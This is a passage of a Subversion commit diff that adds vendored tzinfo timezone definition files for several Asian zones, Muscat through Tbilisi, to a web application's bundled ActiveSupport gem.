+          tz.transition 2006, 3, :o3, 1143298800
+          tz.transition 2006, 10, :o2, 1162047600
+          tz.transition 2007, 3, :o3, 1174748400
+          tz.transition 2007, 10, :o2, 1193497200
+          tz.transition 2008, 3, :o3, 1206802800
+          tz.transition 2008, 10, :o2, 1224946800
+          tz.transition 2009, 3, :o3, 1238252400
+          tz.transition 2009, 10, :o2, 1256396400
+          tz.transition 2010, 3, :o3, 1269702000
+          tz.transition 2010, 10, :o2, 1288450800
+          tz.transition 2011, 3, :o3, 1301151600
+          tz.transition 2011, 10, :o2, 1319900400
+          tz.transition 2012, 3, :o3, 1332601200
+          tz.transition 2012, 10, :o2, 1351350000
+          tz.transition 2013, 3, :o3, 1364655600
+          tz.transition 2013, 10, :o2, 1382799600
+          tz.transition 2014, 3, :o3, 1396105200
+          tz.transition 2014, 10, :o2, 1414249200
+          tz.transition 2015, 3, :o3, 1427554800
+          tz.transition 2015, 10, :o2, 1445698800
+          tz.transition 2016, 3, :o3, 1459004400
+          tz.transition 2016, 10, :o2, 1477753200
+          tz.transition 2017, 3, :o3, 1490454000
+          tz.transition 2017, 10, :o2, 1509202800
+          tz.transition 2018, 3, :o3, 1521903600
+          tz.transition 2018, 10, :o2, 1540652400
+          tz.transition 2019, 3, :o3, 1553958000
+          tz.transition 2019, 10, :o2, 1572102000
+          tz.transition 2020, 3, :o3, 1585407600
+          tz.transition 2020, 10, :o2, 1603551600
+          tz.transition 2021, 3, :o3, 1616857200
+          tz.transition 2021, 10, :o2, 1635606000
+          tz.transition 2022, 3, :o3, 1648306800
+          tz.transition 2022, 10, :o2, 1667055600
+          tz.transition 2023, 3, :o3, 1679756400
+          tz.transition 2023, 10, :o2, 1698505200
+          tz.transition 2024, 3, :o3, 1711810800
+          tz.transition 2024, 10, :o2, 1729954800
+          tz.transition 2025, 3, :o3, 1743260400
+          tz.transition 2025, 10, :o2, 1761404400
+          tz.transition 2026, 3, :o3, 1774710000
+          tz.transition 2026, 10, :o2, 1792854000
+          tz.transition 2027, 3, :o3, 1806159600
+          tz.transition 2027, 10, :o2, 1824908400
+          tz.transition 2028, 3, :o3, 1837609200
+          tz.transition 2028, 10, :o2, 1856358000
+          tz.transition 2029, 3, :o3, 1869058800
+          tz.transition 2029, 10, :o2, 1887807600
+          tz.transition 2030, 3, :o3, 1901113200
+          tz.transition 2030, 10, :o2, 1919257200
+          tz.transition 2031, 3, :o3, 1932562800
+          tz.transition 2031, 10, :o2, 1950706800
+          tz.transition 2032, 3, :o3, 1964012400
+          tz.transition 2032, 10, :o2, 1982761200
+          tz.transition 2033, 3, :o3, 1995462000
+          tz.transition 2033, 10, :o2, 2014210800
+          tz.transition 2034, 3, :o3, 2026911600
+          tz.transition 2034, 10, :o2, 2045660400
+          tz.transition 2035, 3, :o3, 2058361200
+          tz.transition 2035, 10, :o2, 2077110000
+          tz.transition 2036, 3, :o3, 2090415600
+          tz.transition 2036, 10, :o2, 2108559600
+          tz.transition 2037, 3, :o3, 2121865200
+          tz.transition 2037, 10, :o2, 2140009200
+          tz.transition 2038, 3, :o3, 19724081, 8
+          tz.transition 2038, 10, :o2, 19725817, 8
+          tz.transition 2039, 3, :o3, 19726993, 8
+          tz.transition 2039, 10, :o2, 19728729, 8
+          tz.transition 2040, 3, :o3, 19729905, 8
+          tz.transition 2040, 10, :o2, 19731641, 8
+          tz.transition 2041, 3, :o3, 19732873, 8
+          tz.transition 2041, 10, :o2, 19734553, 8
+          tz.transition 2042, 3, :o3, 19735785, 8
+          tz.transition 2042, 10, :o2, 19737465, 8
+          tz.transition 2043, 3, :o3, 19738697, 8
+          tz.transition 2043, 10, :o2, 19740377, 8
+          tz.transition 2044, 3, :o3, 19741609, 8
+          tz.transition 2044, 10, :o2, 19743345, 8
+          tz.transition 2045, 3, :o3, 19744521, 8
+          tz.transition 2045, 10, :o2, 19746257, 8
+          tz.transition 2046, 3, :o3, 19747433, 8
+          tz.transition 2046, 10, :o2, 19749169, 8
+          tz.transition 2047, 3, :o3, 19750401, 8
+          tz.transition 2047, 10, :o2, 19752081, 8
+          tz.transition 2048, 3, :o3, 19753313, 8
+          tz.transition 2048, 10, :o2, 19754993, 8
+          tz.transition 2049, 3, :o3, 19756225, 8
+          tz.transition 2049, 10, :o2, 19757961, 8
+          tz.transition 2050, 3, :o3, 19759137, 8
+          tz.transition 2050, 10, :o2, 19760873, 8
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Muscat
+        include TimezoneDefinition
+        
+        timezone 'Asia/Muscat' do |tz|
+          tz.offset :o0, 14060, 0, :LMT
+          tz.offset :o1, 14400, 0, :GST
+          
+          tz.transition 1919, 12, :o1, 10464441137, 4320
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,164 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Novosibirsk
+        include TimezoneDefinition
+        
+        timezone 'Asia/Novosibirsk' do |tz|
+          tz.offset :o0, 19900, 0, :LMT
+          tz.offset :o1, 21600, 0, :NOVT
+          tz.offset :o2, 25200, 0, :NOVT
+          tz.offset :o3, 25200, 3600, :NOVST
+          tz.offset :o4, 21600, 3600, :NOVST
+          
+          tz.transition 1919, 12, :o1, 2092872833, 864
+          tz.transition 1930, 6, :o2, 9704593, 4
+          tz.transition 1981, 3, :o3, 354906000
+          tz.transition 1981, 9, :o2, 370713600
+          tz.transition 1982, 3, :o3, 386442000
+          tz.transition 1982, 9, :o2, 402249600
+          tz.transition 1983, 3, :o3, 417978000
+          tz.transition 1983, 9, :o2, 433785600
+          tz.transition 1984, 3, :o3, 449600400
+          tz.transition 1984, 9, :o2, 465332400
+          tz.transition 1985, 3, :o3, 481057200
+          tz.transition 1985, 9, :o2, 496782000
+          tz.transition 1986, 3, :o3, 512506800
+          tz.transition 1986, 9, :o2, 528231600
+          tz.transition 1987, 3, :o3, 543956400
+          tz.transition 1987, 9, :o2, 559681200
+          tz.transition 1988, 3, :o3, 575406000
+          tz.transition 1988, 9, :o2, 591130800
+          tz.transition 1989, 3, :o3, 606855600
+          tz.transition 1989, 9, :o2, 622580400
+          tz.transition 1990, 3, :o3, 638305200
+          tz.transition 1990, 9, :o2, 654634800
+          tz.transition 1991, 3, :o4, 670359600
+          tz.transition 1991, 9, :o1, 686088000
+          tz.transition 1992, 1, :o2, 695764800
+          tz.transition 1992, 3, :o3, 701798400
+          tz.transition 1992, 9, :o2, 717519600
+          tz.transition 1993, 3, :o3, 733258800
+          tz.transition 1993, 5, :o4, 738086400
+          tz.transition 1993, 9, :o1, 748987200
+          tz.transition 1994, 3, :o4, 764712000
+          tz.transition 1994, 9, :o1, 780436800
+          tz.transition 1995, 3, :o4, 796161600
+          tz.transition 1995, 9, :o1, 811886400
+          tz.transition 1996, 3, :o4, 828216000
+          tz.transition 1996, 10, :o1, 846360000
+          tz.transition 1997, 3, :o4, 859665600
+          tz.transition 1997, 10, :o1, 877809600
+          tz.transition 1998, 3, :o4, 891115200
+          tz.transition 1998, 10, :o1, 909259200
+          tz.transition 1999, 3, :o4, 922564800
+          tz.transition 1999, 10, :o1, 941313600
+          tz.transition 2000, 3, :o4, 954014400
+          tz.transition 2000, 10, :o1, 972763200
+          tz.transition 2001, 3, :o4, 985464000
+          tz.transition 2001, 10, :o1, 1004212800
+          tz.transition 2002, 3, :o4, 1017518400
+          tz.transition 2002, 10, :o1, 1035662400
+          tz.transition 2003, 3, :o4, 1048968000
+          tz.transition 2003, 10, :o1, 1067112000
+          tz.transition 2004, 3, :o4, 1080417600
+          tz.transition 2004, 10, :o1, 1099166400
+          tz.transition 2005, 3, :o4, 1111867200
+          tz.transition 2005, 10, :o1, 1130616000
+          tz.transition 2006, 3, :o4, 1143316800
+          tz.transition 2006, 10, :o1, 1162065600
+          tz.transition 2007, 3, :o4, 1174766400
+          tz.transition 2007, 10, :o1, 1193515200
+          tz.transition 2008, 3, :o4, 1206820800
+          tz.transition 2008, 10, :o1, 1224964800
+          tz.transition 2009, 3, :o4, 1238270400
+          tz.transition 2009, 10, :o1, 1256414400
+          tz.transition 2010, 3, :o4, 1269720000
+          tz.transition 2010, 10, :o1, 1288468800
+          tz.transition 2011, 3, :o4, 1301169600
+          tz.transition 2011, 10, :o1, 1319918400
+          tz.transition 2012, 3, :o4, 1332619200
+          tz.transition 2012, 10, :o1, 1351368000
+          tz.transition 2013, 3, :o4, 1364673600
+          tz.transition 2013, 10, :o1, 1382817600
+          tz.transition 2014, 3, :o4, 1396123200
+          tz.transition 2014, 10, :o1, 1414267200
+          tz.transition 2015, 3, :o4, 1427572800
+          tz.transition 2015, 10, :o1, 1445716800
+          tz.transition 2016, 3, :o4, 1459022400
+          tz.transition 2016, 10, :o1, 1477771200
+          tz.transition 2017, 3, :o4, 1490472000
+          tz.transition 2017, 10, :o1, 1509220800
+          tz.transition 2018, 3, :o4, 1521921600
+          tz.transition 2018, 10, :o1, 1540670400
+          tz.transition 2019, 3, :o4, 1553976000
+          tz.transition 2019, 10, :o1, 1572120000
+          tz.transition 2020, 3, :o4, 1585425600
+          tz.transition 2020, 10, :o1, 1603569600
+          tz.transition 2021, 3, :o4, 1616875200
+          tz.transition 2021, 10, :o1, 1635624000
+          tz.transition 2022, 3, :o4, 1648324800
+          tz.transition 2022, 10, :o1, 1667073600
+          tz.transition 2023, 3, :o4, 1679774400
+          tz.transition 2023, 10, :o1, 1698523200
+          tz.transition 2024, 3, :o4, 1711828800
+          tz.transition 2024, 10, :o1, 1729972800
+          tz.transition 2025, 3, :o4, 1743278400
+          tz.transition 2025, 10, :o1, 1761422400
+          tz.transition 2026, 3, :o4, 1774728000
+          tz.transition 2026, 10, :o1, 1792872000
+          tz.transition 2027, 3, :o4, 1806177600
+          tz.transition 2027, 10, :o1, 1824926400
+          tz.transition 2028, 3, :o4, 1837627200
+          tz.transition 2028, 10, :o1, 1856376000
+          tz.transition 2029, 3, :o4, 1869076800
+          tz.transition 2029, 10, :o1, 1887825600
+          tz.transition 2030, 3, :o4, 1901131200
+          tz.transition 2030, 10, :o1, 1919275200
+          tz.transition 2031, 3, :o4, 1932580800
+          tz.transition 2031, 10, :o1, 1950724800
+          tz.transition 2032, 3, :o4, 1964030400
+          tz.transition 2032, 10, :o1, 1982779200
+          tz.transition 2033, 3, :o4, 1995480000
+          tz.transition 2033, 10, :o1, 2014228800
+          tz.transition 2034, 3, :o4, 2026929600
+          tz.transition 2034, 10, :o1, 2045678400
+          tz.transition 2035, 3, :o4, 2058379200
+          tz.transition 2035, 10, :o1, 2077128000
+          tz.transition 2036, 3, :o4, 2090433600
+          tz.transition 2036, 10, :o1, 2108577600
+          tz.transition 2037, 3, :o4, 2121883200
+          tz.transition 2037, 10, :o1, 2140027200
+          tz.transition 2038, 3, :o4, 7396531, 3
+          tz.transition 2038, 10, :o1, 7397182, 3
+          tz.transition 2039, 3, :o4, 7397623, 3
+          tz.transition 2039, 10, :o1, 7398274, 3
+          tz.transition 2040, 3, :o4, 7398715, 3
+          tz.transition 2040, 10, :o1, 7399366, 3
+          tz.transition 2041, 3, :o4, 7399828, 3
+          tz.transition 2041, 10, :o1, 7400458, 3
+          tz.transition 2042, 3, :o4, 7400920, 3
+          tz.transition 2042, 10, :o1, 7401550, 3
+          tz.transition 2043, 3, :o4, 7402012, 3
+          tz.transition 2043, 10, :o1, 7402642, 3
+          tz.transition 2044, 3, :o4, 7403104, 3
+          tz.transition 2044, 10, :o1, 7403755, 3
+          tz.transition 2045, 3, :o4, 7404196, 3
+          tz.transition 2045, 10, :o1, 7404847, 3
+          tz.transition 2046, 3, :o4, 7405288, 3
+          tz.transition 2046, 10, :o1, 7405939, 3
+          tz.transition 2047, 3, :o4, 7406401, 3
+          tz.transition 2047, 10, :o1, 7407031, 3
+          tz.transition 2048, 3, :o4, 7407493, 3
+          tz.transition 2048, 10, :o1, 7408123, 3
+          tz.transition 2049, 3, :o4, 7408585, 3
+          tz.transition 2049, 10, :o1, 7409236, 3
+          tz.transition 2050, 3, :o4, 7409677, 3
+          tz.transition 2050, 10, :o1, 7410328, 3
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Rangoon
+        include TimezoneDefinition
+        
+        timezone 'Asia/Rangoon' do |tz|
+          tz.offset :o0, 23080, 0, :LMT
+          tz.offset :o1, 23076, 0, :RMT
+          tz.offset :o2, 23400, 0, :BURT
+          tz.offset :o3, 32400, 0, :JST
+          tz.offset :o4, 23400, 0, :MMT
+          
+          tz.transition 1879, 12, :o1, 5200664903, 2160
+          tz.transition 1919, 12, :o2, 5813578159, 2400
+          tz.transition 1942, 4, :o3, 116663051, 48
+          tz.transition 1945, 5, :o4, 19452625, 8
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Riyadh
+        include TimezoneDefinition
+        
+        timezone 'Asia/Riyadh' do |tz|
+          tz.offset :o0, 11212, 0, :LMT
+          tz.offset :o1, 10800, 0, :AST
+          
+          tz.transition 1949, 12, :o1, 52558899197, 21600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Seoul
+        include TimezoneDefinition
+        
+        timezone 'Asia/Seoul' do |tz|
+          tz.offset :o0, 30472, 0, :LMT
+          tz.offset :o1, 30600, 0, :KST
+          tz.offset :o2, 32400, 0, :KST
+          tz.offset :o3, 28800, 0, :KST
+          tz.offset :o4, 28800, 3600, :KDT
+          tz.offset :o5, 32400, 3600, :KDT
+          
+          tz.transition 1889, 12, :o1, 26042775991, 10800
+          tz.transition 1904, 11, :o2, 116007127, 48
+          tz.transition 1927, 12, :o1, 19401969, 8
+          tz.transition 1931, 12, :o2, 116481943, 48
+          tz.transition 1954, 3, :o3, 19478577, 8
+          tz.transition 1960, 5, :o4, 14622415, 6
+          tz.transition 1960, 9, :o3, 19497521, 8
+          tz.transition 1961, 8, :o1, 14625127, 6
+          tz.transition 1968, 9, :o2, 117126247, 48
+          tz.transition 1987, 5, :o5, 547570800
+          tz.transition 1987, 10, :o2, 560872800
+          tz.transition 1988, 5, :o5, 579020400
+          tz.transition 1988, 10, :o2, 592322400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Shanghai
+        include TimezoneDefinition
+        
+        timezone 'Asia/Shanghai' do |tz|
+          tz.offset :o0, 29152, 0, :LMT
+          tz.offset :o1, 28800, 0, :CST
+          tz.offset :o2, 28800, 3600, :CDT
+          
+          tz.transition 1927, 12, :o1, 6548164639, 2700
+          tz.transition 1940, 6, :o2, 14578699, 6
+          tz.transition 1940, 9, :o1, 19439225, 8
+          tz.transition 1941, 3, :o2, 14580415, 6
+          tz.transition 1941, 9, :o1, 19442145, 8
+          tz.transition 1986, 5, :o2, 515520000
+          tz.transition 1986, 9, :o1, 527007600
+          tz.transition 1987, 4, :o2, 545155200
+          tz.transition 1987, 9, :o1, 558457200
+          tz.transition 1988, 4, :o2, 576604800
+          tz.transition 1988, 9, :o1, 589906800
+          tz.transition 1989, 4, :o2, 608659200
+          tz.transition 1989, 9, :o1, 621961200
+          tz.transition 1990, 4, :o2, 640108800
+          tz.transition 1990, 9, :o1, 653410800
+          tz.transition 1991, 4, :o2, 671558400
+          tz.transition 1991, 9, :o1, 684860400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Singapore
+        include TimezoneDefinition
+        
+        timezone 'Asia/Singapore' do |tz|
+          tz.offset :o0, 24925, 0, :LMT
+          tz.offset :o1, 24925, 0, :SMT
+          tz.offset :o2, 25200, 0, :MALT
+          tz.offset :o3, 25200, 1200, :MALST
+          tz.offset :o4, 26400, 0, :MALT
+          tz.offset :o5, 27000, 0, :MALT
+          tz.offset :o6, 32400, 0, :JST
+          tz.offset :o7, 27000, 0, :SGT
+          tz.offset :o8, 28800, 0, :SGT
+          
+          tz.transition 1900, 12, :o1, 8347571291, 3456
+          tz.transition 1905, 5, :o2, 8353142363, 3456
+          tz.transition 1932, 12, :o3, 58249757, 24
+          tz.transition 1935, 12, :o4, 87414055, 36
+          tz.transition 1941, 8, :o5, 87488575, 36
+          tz.transition 1942, 2, :o6, 38886499, 16
+          tz.transition 1945, 9, :o5, 19453681, 8
+          tz.transition 1965, 8, :o7, 39023699, 16
+          tz.transition 1981, 12, :o8, 378664200
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Taipei
+        include TimezoneDefinition
+        
+        timezone 'Asia/Taipei' do |tz|
+          tz.offset :o0, 29160, 0, :LMT
+          tz.offset :o1, 28800, 0, :CST
+          tz.offset :o2, 28800, 3600, :CDT
+          
+          tz.transition 1895, 12, :o1, 193084733, 80
+          tz.transition 1945, 4, :o2, 14589457, 6
+          tz.transition 1945, 9, :o1, 19453833, 8
+          tz.transition 1946, 4, :o2, 14591647, 6
+          tz.transition 1946, 9, :o1, 19456753, 8
+          tz.transition 1947, 4, :o2, 14593837, 6
+          tz.transition 1947, 9, :o1, 19459673, 8
+          tz.transition 1948, 4, :o2, 14596033, 6
+          tz.transition 1948, 9, :o1, 19462601, 8
+          tz.transition 1949, 4, :o2, 14598223, 6
+          tz.transition 1949, 9, :o1, 19465521, 8
+          tz.transition 1950, 4, :o2, 14600413, 6
+          tz.transition 1950, 9, :o1, 19468441, 8
+          tz.transition 1951, 4, :o2, 14602603, 6
+          tz.transition 1951, 9, :o1, 19471361, 8
+          tz.transition 1952, 2, :o2, 14604433, 6
+          tz.transition 1952, 10, :o1, 19474537, 8
+          tz.transition 1953, 3, :o2, 14606809, 6
+          tz.transition 1953, 10, :o1, 19477457, 8
+          tz.transition 1954, 3, :o2, 14608999, 6
+          tz.transition 1954, 10, :o1, 19480377, 8
+          tz.transition 1955, 3, :o2, 14611189, 6
+          tz.transition 1955, 9, :o1, 19483049, 8
+          tz.transition 1956, 3, :o2, 14613385, 6
+          tz.transition 1956, 9, :o1, 19485977, 8
+          tz.transition 1957, 3, :o2, 14615575, 6
+          tz.transition 1957, 9, :o1, 19488897, 8
+          tz.transition 1958, 3, :o2, 14617765, 6
+          tz.transition 1958, 9, :o1, 19491817, 8
+          tz.transition 1959, 3, :o2, 14619955, 6
+          tz.transition 1959, 9, :o1, 19494737, 8
+          tz.transition 1960, 5, :o2, 14622517, 6
+          tz.transition 1960, 9, :o1, 19497665, 8
+          tz.transition 1961, 5, :o2, 14624707, 6
+          tz.transition 1961, 9, :o1, 19500585, 8
+          tz.transition 1974, 3, :o2, 133977600
+          tz.transition 1974, 9, :o1, 149785200
+          tz.transition 1975, 3, :o2, 165513600
+          tz.transition 1975, 9, :o1, 181321200
+          tz.transition 1980, 6, :o2, 331142400
+          tz.transition 1980, 9, :o1, 339087600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Tashkent
+        include TimezoneDefinition
+        
+        timezone 'Asia/Tashkent' do |tz|
+          tz.offset :o0, 16632, 0, :LMT
+          tz.offset :o1, 18000, 0, :TAST
+          tz.offset :o2, 21600, 0, :TAST
+          tz.offset :o3, 21600, 3600, :TASST
+          tz.offset :o4, 18000, 3600, :TASST
+          tz.offset :o5, 18000, 3600, :UZST
+          tz.offset :o6, 18000, 0, :UZT
+          
+          tz.transition 1924, 5, :o1, 969562923, 400
+          tz.transition 1930, 6, :o2, 58227559, 24
+          tz.transition 1981, 3, :o3, 354909600
+          tz.transition 1981, 9, :o2, 370717200
+          tz.transition 1982, 3, :o3, 386445600
+          tz.transition 1982, 9, :o2, 402253200
+          tz.transition 1983, 3, :o3, 417981600
+          tz.transition 1983, 9, :o2, 433789200
+          tz.transition 1984, 3, :o3, 449604000
+          tz.transition 1984, 9, :o2, 465336000
+          tz.transition 1985, 3, :o3, 481060800
+          tz.transition 1985, 9, :o2, 496785600
+          tz.transition 1986, 3, :o3, 512510400
+          tz.transition 1986, 9, :o2, 528235200
+          tz.transition 1987, 3, :o3, 543960000
+          tz.transition 1987, 9, :o2, 559684800
+          tz.transition 1988, 3, :o3, 575409600
+          tz.transition 1988, 9, :o2, 591134400
+          tz.transition 1989, 3, :o3, 606859200
+          tz.transition 1989, 9, :o2, 622584000
+          tz.transition 1990, 3, :o3, 638308800
+          tz.transition 1990, 9, :o2, 654638400
+          tz.transition 1991, 3, :o4, 670363200
+          tz.transition 1991, 8, :o5, 683661600
+          tz.transition 1991, 9, :o6, 686091600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,78 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Tbilisi
+        include TimezoneDefinition
+        
+        timezone 'Asia/Tbilisi' do |tz|
+          tz.offset :o0, 10756, 0, :LMT
+          tz.offset :o1, 10756, 0, :TBMT
+          tz.offset :o2, 10800, 0, :TBIT
+          tz.offset :o3, 14400, 0, :TBIT
+          tz.offset :o4, 14400, 3600, :TBIST
+          tz.offset :o5, 10800, 3600, :TBIST
+          tz.offset :o6, 10800, 3600, :GEST
+          tz.offset :o7, 10800, 0, :GET
+          tz.offset :o8, 14400, 0, :GET
+          tz.offset :o9, 14400, 3600, :GEST
+          
+          tz.transition 1879, 12, :o1, 52006652111, 21600
+          tz.transition 1924, 5, :o2, 52356399311, 21600
+          tz.transition 1957, 2, :o3, 19487187, 8
+          tz.transition 1981, 3, :o4, 354916800
+          tz.transition 1981, 9, :o3, 370724400
+          tz.transition 1982, 3, :o4, 386452800
+          tz.transition 1982, 9, :o3, 402260400
+          tz.transition 1983, 3, :o4, 417988800
+          tz.transition 1983, 9, :o3, 433796400
+          tz.transition 1984, 3, :o4, 449611200
+          tz.transition 1984, 9, :o3, 465343200
+          tz.transition 1985, 3, :o4, 481068000
+          tz.transition 1985, 9, :o3, 496792800
+          tz.transition 1986, 3, :o4, 512517600
+          tz.transition 1986, 9, :o3, 528242400
+          tz.transition 1987, 3, :o4, 543967200
+          tz.transition 1987, 9, :o3, 559692000
+          tz.transition 1988, 3, :o4, 575416800
+          tz.transition 1988, 9, :o3, 591141600
+          tz.transition 1989, 3, :o4, 606866400
+          tz.transition 1989, 9, :o3, 622591200
+          tz.transition 1990, 3, :o4, 638316000
+          tz.transition 1990, 9, :o3, 654645600
+          tz.transition 1991, 3, :o5, 670370400
+          tz.transition 1991, 4, :o6, 671140800
+          tz.transition 1991, 9, :o7, 686098800
+          tz.transition 1992, 3, :o6, 701816400
+          tz.transition 1992, 9, :o7, 717537600
+          tz.transition 1993, 3, :o6, 733266000
+          tz.transition 1993, 9, :o7, 748987200
+          tz.transition 1994, 3, :o6, 764715600
+          tz.transition 1994, 9, :o8, 780436800
+          tz.transition 1995, 3, :o9, 796161600
+          tz.transition 1995, 9, :o8, 811882800
+          tz.transition 1996, 3, :o9, 828216000
+          tz.transition 1997, 3, :o9, 859662000
+          tz.transition 1997, 10, :o8, 877806000
+          tz.transition 1998, 3, :o9, 891115200
+          tz.transition 1998, 10, :o8, 909255600
+          tz.transition 1999, 3, :o9, 922564800
+          tz.transition 1999, 10, :o8, 941310000
+          tz.transition 2000, 3, :o9, 954014400
